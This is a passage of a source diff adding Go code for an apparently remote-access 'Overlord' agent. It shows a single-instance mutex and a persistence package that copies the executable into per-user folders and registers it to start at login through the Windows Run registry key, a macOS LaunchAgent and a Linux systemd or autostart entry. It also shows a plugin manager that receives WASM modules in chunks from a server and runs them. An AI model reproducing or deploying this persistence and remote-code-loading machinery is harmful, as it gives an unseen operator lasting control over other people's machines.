return func() {}, true, nil
|
||||
}
|
||||
|
||||
sanitized, err := sanitizeName(name)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
|
||||
fullName := "Global\\Overlord-" + sanitized
|
||||
handle, err := windows.CreateMutex(nil, false, windows.StringToUTF16Ptr(fullName))
|
||||
if err != nil {
|
||||
return nil, false, fmt.Errorf("create mutex: %w", err)
|
||||
}
|
||||
|
||||
if windows.GetLastError() == windows.ERROR_ALREADY_EXISTS {
|
||||
windows.CloseHandle(handle)
|
||||
return func() {}, false, nil
|
||||
}
|
||||
|
||||
release := func() {
|
||||
_ = windows.ReleaseMutex(handle)
|
||||
_ = windows.CloseHandle(handle)
|
||||
}
|
||||
|
||||
return release, true, nil
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package persistence
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func Setup() error {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
exePath, err = filepath.Abs(exePath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return install(exePath)
|
||||
}
|
||||
|
||||
func InstallFrom(exePath string) error {
|
||||
return install(exePath)
|
||||
}
|
||||
|
||||
func Configure(exePath string) error {
|
||||
return configure(exePath)
|
||||
}
|
||||
|
||||
func TargetPath() (string, error) {
|
||||
return getTargetPath()
|
||||
}
|
||||
|
||||
func Remove() error {
|
||||
return uninstall()
|
||||
}
|
||||
@@ -0,0 +1,197 @@
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
|
||||
package persistence
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"text/template"
|
||||
)
|
||||
|
||||
const launchAgentPlist = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>com.overlord.agent</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>{{.ExePath}}</string>
|
||||
</array>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
<key>KeepAlive</key>
|
||||
<true/>
|
||||
<key>StandardOutPath</key>
|
||||
<string>/tmp/overlord-agent.log</string>
|
||||
<key>StandardErrorPath</key>
|
||||
<string>/tmp/overlord-agent-error.log</string>
|
||||
</dict>
|
||||
</plist>
|
||||
`
|
||||
|
||||
func getPlistPath() (string, error) {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", "com.overlord.agent.plist"), nil
|
||||
}
|
||||
|
||||
func getTargetPath() (string, error) {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", "agent"), nil
|
||||
}
|
||||
|
||||
func install(exePath string) error {
|
||||
|
||||
targetPath, err := getTargetPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to get target path: %w", err)
|
||||
}
|
||||
|
||||
dir := filepath.Dir(targetPath)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create Overlord directory: %w", err)
|
||||
}
|
||||
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
plistPath, err := getPlistPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to get plist path: %w", err)
|
||||
}
|
||||
|
||||
launchAgentsDir := filepath.Dir(plistPath)
|
||||
if err := os.MkdirAll(launchAgentsDir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create LaunchAgents directory: %w", err)
|
||||
}
|
||||
|
||||
file, err := os.Create(plistPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create plist file: %w", err)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
tmpl, err := template.New("plist").Parse(launchAgentPlist)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to parse template: %w", err)
|
||||
}
|
||||
|
||||
data := struct {
|
||||
ExePath string
|
||||
}{
|
||||
ExePath: targetPath,
|
||||
}
|
||||
|
||||
if err := tmpl.Execute(file, data); err != nil {
|
||||
return fmt.Errorf("failed to write plist file: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func replaceExecutable(exePath, targetPath string) error {
|
||||
srcFile, err := os.Open(exePath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open source executable: %w", err)
|
||||
}
|
||||
defer srcFile.Close()
|
||||
|
||||
dir := filepath.Dir(targetPath)
|
||||
tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create temp executable: %w", err)
|
||||
}
|
||||
tmpPath := tmpFile.Name()
|
||||
defer func() {
|
||||
_ = tmpFile.Close()
|
||||
_ = os.Remove(tmpPath)
|
||||
}()
|
||||
|
||||
if _, err := io.Copy(tmpFile, srcFile); err != nil {
|
||||
return fmt.Errorf("failed to copy executable: %w", err)
|
||||
}
|
||||
if err := tmpFile.Sync(); err != nil {
|
||||
return fmt.Errorf("failed to sync temp file: %w", err)
|
||||
}
|
||||
if err := tmpFile.Close(); err != nil {
|
||||
return fmt.Errorf("failed to close temp file: %w", err)
|
||||
}
|
||||
|
||||
if err := os.Rename(tmpPath, targetPath); err != nil {
|
||||
if removeErr := os.Remove(targetPath); removeErr == nil {
|
||||
if err = os.Rename(tmpPath, targetPath); err == nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
|
||||
}
|
||||
|
||||
if err := os.Chmod(targetPath, 0755); err != nil {
|
||||
return fmt.Errorf("failed to set executable permissions: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func configure(exePath string) error {
|
||||
plistPath, err := getPlistPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to get plist path: %w", err)
|
||||
}
|
||||
|
||||
launchAgentsDir := filepath.Dir(plistPath)
|
||||
if err := os.MkdirAll(launchAgentsDir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create LaunchAgents directory: %w", err)
|
||||
}
|
||||
|
||||
file, err := os.Create(plistPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create plist file: %w", err)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
tmpl, err := template.New("plist").Parse(launchAgentPlist)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to parse template: %w", err)
|
||||
}
|
||||
|
||||
data := struct {
|
||||
ExePath string
|
||||
}{
|
||||
ExePath: exePath,
|
||||
}
|
||||
|
||||
if err := tmpl.Execute(file, data); err != nil {
|
||||
return fmt.Errorf("failed to execute template: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func uninstall() error {
|
||||
plistPath, err := getPlistPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to get plist path: %w", err)
|
||||
}
|
||||
|
||||
if err := os.Remove(plistPath); err != nil && !os.IsNotExist(err) {
|
||||
return fmt.Errorf("failed to remove plist file: %w", err)
|
||||
}
|
||||
|
||||
if targetPath, err := getTargetPath(); err == nil {
|
||||
os.Remove(targetPath)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,227 @@
|
||||
//go:build linux
|
||||
// +build linux
|
||||
|
||||
package persistence
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"text/template"
|
||||
)
|
||||
|
||||
const systemdService = `[Unit]
|
||||
Description=Overlord Agent
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart={{.ExePath}}
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
[Install]
|
||||
WantedBy=default.target
|
||||
`
|
||||
|
||||
const desktopEntry = `[Desktop Entry]
|
||||
Type=Application
|
||||
Name=Overlord Agent
|
||||
Exec={{.ExePath}}
|
||||
Hidden=false
|
||||
NoDisplay=false
|
||||
X-GNOME-Autostart-enabled=true
|
||||
`
|
||||
|
||||
func getSystemdPath() (string, error) {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(usr.HomeDir, ".config", "systemd", "user", "overlord-agent.service"), nil
|
||||
}
|
||||
|
||||
func getAutostartPath() (string, error) {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(usr.HomeDir, ".config", "autostart", "overlord-agent.desktop"), nil
|
||||
}
|
||||
|
||||
func getTargetPath() (string, error) {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(usr.HomeDir, ".local", "share", "overlord", "agent"), nil
|
||||
}
|
||||
|
||||
func install(exePath string) error {
|
||||
|
||||
targetPath, err := getTargetPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to get target path: %w", err)
|
||||
}
|
||||
|
||||
dir := filepath.Dir(targetPath)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create overlord directory: %w", err)
|
||||
}
|
||||
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := installSystemd(targetPath); err == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
return installAutostart(targetPath)
|
||||
}
|
||||
|
||||
func replaceExecutable(exePath, targetPath string) error {
|
||||
srcFile, err := os.Open(exePath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open source executable: %w", err)
|
||||
}
|
||||
defer srcFile.Close()
|
||||
|
||||
dir := filepath.Dir(targetPath)
|
||||
tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create temp executable: %w", err)
|
||||
}
|
||||
tmpPath := tmpFile.Name()
|
||||
defer func() {
|
||||
_ = tmpFile.Close()
|
||||
_ = os.Remove(tmpPath)
|
||||
}()
|
||||
|
||||
if _, err := io.Copy(tmpFile, srcFile); err != nil {
|
||||
return fmt.Errorf("failed to copy executable: %w", err)
|
||||
}
|
||||
if err := tmpFile.Sync(); err != nil {
|
||||
return fmt.Errorf("failed to sync temp file: %w", err)
|
||||
}
|
||||
if err := tmpFile.Close(); err != nil {
|
||||
return fmt.Errorf("failed to close temp file: %w", err)
|
||||
}
|
||||
|
||||
if err := os.Rename(tmpPath, targetPath); err != nil {
|
||||
if removeErr := os.Remove(targetPath); removeErr == nil {
|
||||
if err = os.Rename(tmpPath, targetPath); err == nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
|
||||
}
|
||||
|
||||
if err := os.Chmod(targetPath, 0755); err != nil {
|
||||
return fmt.Errorf("failed to set executable permissions: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func installSystemd(exePath string) error {
|
||||
servicePath, err := getSystemdPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
dir := filepath.Dir(servicePath)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create systemd directory: %w", err)
|
||||
}
|
||||
|
||||
file, err := os.Create(servicePath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create service file: %w", err)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
tmpl, err := template.New("service").Parse(systemdService)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to parse template: %w", err)
|
||||
}
|
||||
|
||||
data := struct {
|
||||
ExePath string
|
||||
}{
|
||||
ExePath: exePath,
|
||||
}
|
||||
|
||||
if err := tmpl.Execute(file, data); err != nil {
|
||||
return fmt.Errorf("failed to write service file: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func configure(exePath string) error {
|
||||
if err := installSystemd(exePath); err == nil {
|
||||
return nil
|
||||
}
|
||||
return installAutostart(exePath)
|
||||
}
|
||||
|
||||
func installAutostart(exePath string) error {
|
||||
autostartPath, err := getAutostartPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
dir := filepath.Dir(autostartPath)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create autostart directory: %w", err)
|
||||
}
|
||||
|
||||
file, err := os.Create(autostartPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create desktop entry: %w", err)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
tmpl, err := template.New("desktop").Parse(desktopEntry)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to parse template: %w", err)
|
||||
}
|
||||
|
||||
data := struct {
|
||||
ExePath string
|
||||
}{
|
||||
ExePath: exePath,
|
||||
}
|
||||
|
||||
if err := tmpl.Execute(file, data); err != nil {
|
||||
return fmt.Errorf("failed to write desktop entry: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func uninstall() error {
|
||||
|
||||
var lastErr error
|
||||
|
||||
if servicePath, err := getSystemdPath(); err == nil {
|
||||
if err := os.Remove(servicePath); err != nil && !os.IsNotExist(err) {
|
||||
lastErr = fmt.Errorf("failed to remove systemd service: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
if autostartPath, err := getAutostartPath(); err == nil {
|
||||
if err := os.Remove(autostartPath); err != nil && !os.IsNotExist(err) {
|
||||
lastErr = fmt.Errorf("failed to remove autostart entry: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
if targetPath, err := getTargetPath(); err == nil {
|
||||
os.Remove(targetPath)
|
||||
}
|
||||
|
||||
return lastErr
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package persistence
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
|
||||
const registryValueName = "OverlordAgent"
|
||||
|
||||
func getTargetPath() (string, error) {
|
||||
appDataDir := os.Getenv("APPDATA")
|
||||
if appDataDir == "" {
|
||||
return "", fmt.Errorf("APPDATA environment variable not set")
|
||||
}
|
||||
return filepath.Join(appDataDir, "Overlord", "agent.exe"), nil
|
||||
}
|
||||
|
||||
func install(exePath string) error {
|
||||
|
||||
targetPath, err := getTargetPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
overlordDir := filepath.Dir(targetPath)
|
||||
err = os.MkdirAll(overlordDir, 0755)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create Overlord directory: %w", err)
|
||||
}
|
||||
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open registry key: %w", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
err = k.SetStringValue(registryValueName, targetPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to set registry value: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func replaceExecutable(exePath, targetPath string) error {
|
||||
srcFile, err := os.Open(exePath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open source executable: %w", err)
|
||||
}
|
||||
defer srcFile.Close()
|
||||
|
||||
dir := filepath.Dir(targetPath)
|
||||
tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create temp executable: %w", err)
|
||||
}
|
||||
tmpPath := tmpFile.Name()
|
||||
defer func() {
|
||||
_ = tmpFile.Close()
|
||||
_ = os.Remove(tmpPath)
|
||||
}()
|
||||
|
||||
if _, err := io.Copy(tmpFile, srcFile); err != nil {
|
||||
return fmt.Errorf("failed to copy executable: %w", err)
|
||||
}
|
||||
if err := tmpFile.Sync(); err != nil {
|
||||
return fmt.Errorf("failed to sync temp file: %w", err)
|
||||
}
|
||||
if err := tmpFile.Close(); err != nil {
|
||||
return fmt.Errorf("failed to close temp file: %w", err)
|
||||
}
|
||||
|
||||
if err := os.Rename(tmpPath, targetPath); err != nil {
|
||||
if removeErr := os.Remove(targetPath); removeErr == nil {
|
||||
if err = os.Rename(tmpPath, targetPath); err == nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func configure(exePath string) error {
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open registry key: %w", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
if err := k.SetStringValue(registryValueName, exePath); err != nil {
|
||||
return fmt.Errorf("failed to set registry value: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func uninstall() error {
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open registry key: %w", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
err = k.DeleteValue(registryValueName)
|
||||
if err != nil && err != registry.ErrNotExist {
|
||||
return fmt.Errorf("failed to delete registry value: %w", err)
|
||||
}
|
||||
|
||||
appDataDir := os.Getenv("APPDATA")
|
||||
if appDataDir != "" {
|
||||
targetPath := filepath.Join(appDataDir, "Overlord", "agent.exe")
|
||||
|
||||
os.Remove(targetPath)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,348 @@
|
||||
package plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"log"
|
||||
"sync"
|
||||
|
||||
"github.com/tetratelabs/wazero"
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1"
|
||||
"github.com/vmihailenco/msgpack/v5"
|
||||
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
type Manager struct {
|
||||
mu sync.Mutex
|
||||
plugins map[string]*pluginInstance
|
||||
pending map[string]*pendingBundle
|
||||
writer wire.Writer
|
||||
host HostInfo
|
||||
}
|
||||
|
||||
type pluginInstance struct {
|
||||
id string
|
||||
manifest PluginManifest
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
runtime wazero.Runtime
|
||||
module api.Module
|
||||
stdin io.WriteCloser
|
||||
stdout io.ReadCloser
|
||||
stderr io.ReadCloser
|
||||
enc *msgpack.Encoder
|
||||
dec *msgpack.Decoder
|
||||
encMu sync.Mutex
|
||||
}
|
||||
|
||||
type pendingBundle struct {
|
||||
manifest PluginManifest
|
||||
totalSize int
|
||||
totalChunks int
|
||||
chunks map[int][]byte
|
||||
received int
|
||||
receivedSz int
|
||||
}
|
||||
|
||||
func NewManager(writer wire.Writer, host HostInfo) *Manager {
|
||||
return &Manager{
|
||||
plugins: make(map[string]*pluginInstance),
|
||||
pending: make(map[string]*pendingBundle),
|
||||
writer: writer,
|
||||
host: host,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Manager) StartBundle(manifest PluginManifest, totalSize int, totalChunks int) error {
|
||||
if manifest.ID == "" {
|
||||
return errors.New("missing plugin id")
|
||||
}
|
||||
if totalChunks <= 0 {
|
||||
return errors.New("invalid total chunks")
|
||||
}
|
||||
if totalSize <= 0 {
|
||||
return errors.New("invalid total size")
|
||||
}
|
||||
if totalChunks > 10000 {
|
||||
return errors.New("too many chunks")
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.pending[manifest.ID] = &pendingBundle{
|
||||
manifest: manifest,
|
||||
totalSize: totalSize,
|
||||
totalChunks: totalChunks,
|
||||
chunks: make(map[int][]byte),
|
||||
}
|
||||
m.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) AddChunk(pluginId string, index int, data []byte) error {
|
||||
if pluginId == "" {
|
||||
return errors.New("missing plugin id")
|
||||
}
|
||||
if index < 0 {
|
||||
return errors.New("invalid chunk index")
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
b := m.pending[pluginId]
|
||||
if b == nil {
|
||||
m.mu.Unlock()
|
||||
return errors.New("bundle not initialized")
|
||||
}
|
||||
if _, exists := b.chunks[index]; !exists {
|
||||
b.chunks[index] = data
|
||||
b.received++
|
||||
b.receivedSz += len(data)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) FinalizeBundle(ctx context.Context, pluginId string) error {
|
||||
m.mu.Lock()
|
||||
b := m.pending[pluginId]
|
||||
if b == nil {
|
||||
m.mu.Unlock()
|
||||
return errors.New("bundle not initialized")
|
||||
}
|
||||
if b.received < b.totalChunks {
|
||||
m.mu.Unlock()
|
||||
return errors.New("bundle incomplete")
|
||||
}
|
||||
|
||||
chunks := make([][]byte, b.totalChunks)
|
||||
for i := 0; i < b.totalChunks; i++ {
|
||||
chunks[i] = b.chunks[i]
|
||||
if chunks[i] == nil {
|
||||
m.mu.Unlock()
|
||||
return errors.New("missing chunk")
|
||||
}
|
||||
}
|
||||
manifest := b.manifest
|
||||
delete(m.pending, pluginId)
|
||||
m.mu.Unlock()
|
||||
|
||||
combined := make([]byte, 0, b.totalSize)
|
||||
for _, part := range chunks {
|
||||
combined = append(combined, part...)
|
||||
}
|
||||
return m.Load(ctx, manifest, combined)
|
||||
}
|
||||
|
||||
func (m *Manager) Load(ctx context.Context, manifest PluginManifest, wasm []byte) error {
|
||||
if len(wasm) == 0 {
|
||||
return errors.New("empty wasm payload")
|
||||
}
|
||||
pluginID := manifest.ID
|
||||
if pluginID == "" {
|
||||
return errors.New("missing plugin id")
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
if existing, ok := m.plugins[pluginID]; ok {
|
||||
_ = existing.Close()
|
||||
delete(m.plugins, pluginID)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
runtimeCtx, cancel := context.WithCancel(ctx)
|
||||
rt := wazero.NewRuntime(runtimeCtx)
|
||||
if _, err := wasi_snapshot_preview1.Instantiate(runtimeCtx, rt); err != nil {
|
||||
cancel()
|
||||
return err
|
||||
}
|
||||
|
||||
stdinR, stdinW := io.Pipe()
|
||||
stdoutR, stdoutW := io.Pipe()
|
||||
stderrR, stderrW := io.Pipe()
|
||||
|
||||
config := wazero.NewModuleConfig().
|
||||
WithStdin(stdinR).
|
||||
WithStdout(stdoutW).
|
||||
WithStderr(stderrW).
|
||||
WithStartFunctions()
|
||||
|
||||
compiled, err := rt.CompileModule(runtimeCtx, wasm)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return err
|
||||
}
|
||||
|
||||
module, err := rt.InstantiateModule(runtimeCtx, compiled, config)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return err
|
||||
}
|
||||
|
||||
pi := &pluginInstance{
|
||||
id: pluginID,
|
||||
manifest: manifest,
|
||||
ctx: runtimeCtx,
|
||||
cancel: cancel,
|
||||
runtime: rt,
|
||||
module: module,
|
||||
stdin: stdinW,
|
||||
stdout: stdoutR,
|
||||
stderr: stderrR,
|
||||
enc: msgpack.NewEncoder(stdinW),
|
||||
dec: msgpack.NewDecoder(stdoutR),
|
||||
}
|
||||
|
||||
goSafe("plugin readLoop", pi.cancel, func() {
|
||||
m.readLoop(pi)
|
||||
})
|
||||
goSafe("plugin readStderr", pi.cancel, func() {
|
||||
m.readStderr(pi)
|
||||
})
|
||||
|
||||
if start := module.ExportedFunction("_start"); start != nil {
|
||||
goSafe("plugin _start", pi.cancel, func() {
|
||||
if _, err := start.Call(runtimeCtx); err != nil {
|
||||
log.Printf("[plugin] %s _start error: %v", pluginID, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
if err := m.sendInit(pi); err != nil {
|
||||
_ = pi.Close()
|
||||
return err
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.plugins[pluginID] = pi
|
||||
m.mu.Unlock()
|
||||
|
||||
log.Printf("[plugin] loaded %s", pluginID)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) Dispatch(ctx context.Context, pluginId, event string, payload interface{}) error {
|
||||
m.mu.Lock()
|
||||
pi := m.plugins[pluginId]
|
||||
m.mu.Unlock()
|
||||
if pi == nil {
|
||||
return nil
|
||||
}
|
||||
msg := PluginMessage{Type: "event", Event: event, Payload: payload}
|
||||
return m.sendMessage(ctx, pi, msg)
|
||||
}
|
||||
|
||||
func (m *Manager) Close() {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
for id, pi := range m.plugins {
|
||||
_ = pi.Close()
|
||||
delete(m.plugins, id)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Manager) Unload(pluginId string) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
if pi, ok := m.plugins[pluginId]; ok {
|
||||
_ = pi.Close()
|
||||
delete(m.plugins, pluginId)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Manager) sendInit(pi *pluginInstance) error {
|
||||
payload := map[string]interface{}{
|
||||
"manifest": pi.manifest,
|
||||
"host": m.host,
|
||||
}
|
||||
msg := PluginMessage{Type: "init", Payload: payload}
|
||||
return m.sendMessage(context.Background(), pi, msg)
|
||||
}
|
||||
|
||||
func (m *Manager) sendMessage(ctx context.Context, pi *pluginInstance, msg PluginMessage) error {
|
||||
pi.encMu.Lock()
|
||||
defer pi.encMu.Unlock()
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
default:
|
||||
return pi.enc.Encode(msg)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Manager) readLoop(pi *pluginInstance) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[plugin] %s read loop panic: %v", pi.id, r)
|
||||
}
|
||||
}()
|
||||
for {
|
||||
var msg map[string]interface{}
|
||||
if err := pi.dec.Decode(&msg); err != nil {
|
||||
if errors.Is(err, io.EOF) || errors.Is(err, context.Canceled) {
|
||||
return
|
||||
}
|
||||
log.Printf("[plugin] %s read error: %v", pi.id, err)
|
||||
return
|
||||
}
|
||||
m.handlePluginMessage(pi.id, msg)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Manager) readStderr(pi *pluginInstance) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[plugin] %s stderr loop panic: %v", pi.id, r)
|
||||
}
|
||||
}()
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
n, err := pi.stderr.Read(buf)
|
||||
if n > 0 {
|
||||
log.Printf("[plugin] %s stderr: %s", pi.id, string(buf[:n]))
|
||||
}
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Manager) handlePluginMessage(pluginId string, msg map[string]interface{}) {
|
||||
msgType, _ := msg["type"].(string)
|
||||
if msgType == "log" {
|
||||
log.Printf("[plugin] %s log: %v", pluginId, msg["payload"])
|
||||
return
|
||||
}
|
||||
if msgType == "event" {
|
||||
event, _ := msg["event"].(string)
|
||||
payload := msg["payload"]
|
||||
if event == "" {
|
||||
return
|
||||
}
|
||||
err := wire.WriteMsg(context.Background(), m.writer, wire.PluginEvent{
|
||||
Type: "plugin_event",
|
||||
PluginID: pluginId,
|
||||
Event: event,
|
||||
Payload: payload,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("[plugin] %s send event error: %v", pluginId, err)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (pi *pluginInstance) Close() error {
|
||||
pi.cancel()
|
||||
_ = pi.stdin.Close()
|
||||
_ = pi.stdout.Close()
|
||||
_ = pi.stderr.Close()
|
||||
if pi.module != nil {
|
||||
_ = pi.module.Close(context.Background())
|
||||
}
|
||||
if pi.runtime != nil {
|
||||
_ = pi.runtime.Close(context.Background())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"time"
|
||||
)
|
||||
|
||||
const crashLogFileName = "crashlogC.log"
|
||||
|
||||
func goSafe(label string, cancel context.CancelFunc, fn func()) {
|
||||
go func() {
|
||||
defer recoverAndLog(label, cancel)
|
||||
fn()
|
||||
}()
|
||||
}
|
||||
|
||||
func recoverAndLog(label string, cancel context.CancelFunc) {
|
||||
if r := recover(); r != nil {
|
||||
reason := fmt.Sprintf("%s panic: %v", label, r)
|
||||
stack := debug.Stack()
|
||||
path := writeCrashLog(reason, stack)
|
||||
log.Printf("[panic] %s (see %s)", reason, path)
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func writeCrashLog(reason string, stack []byte) string {
|
||||
dir := os.TempDir()
|
||||
_ = os.MkdirAll(dir, 0700)
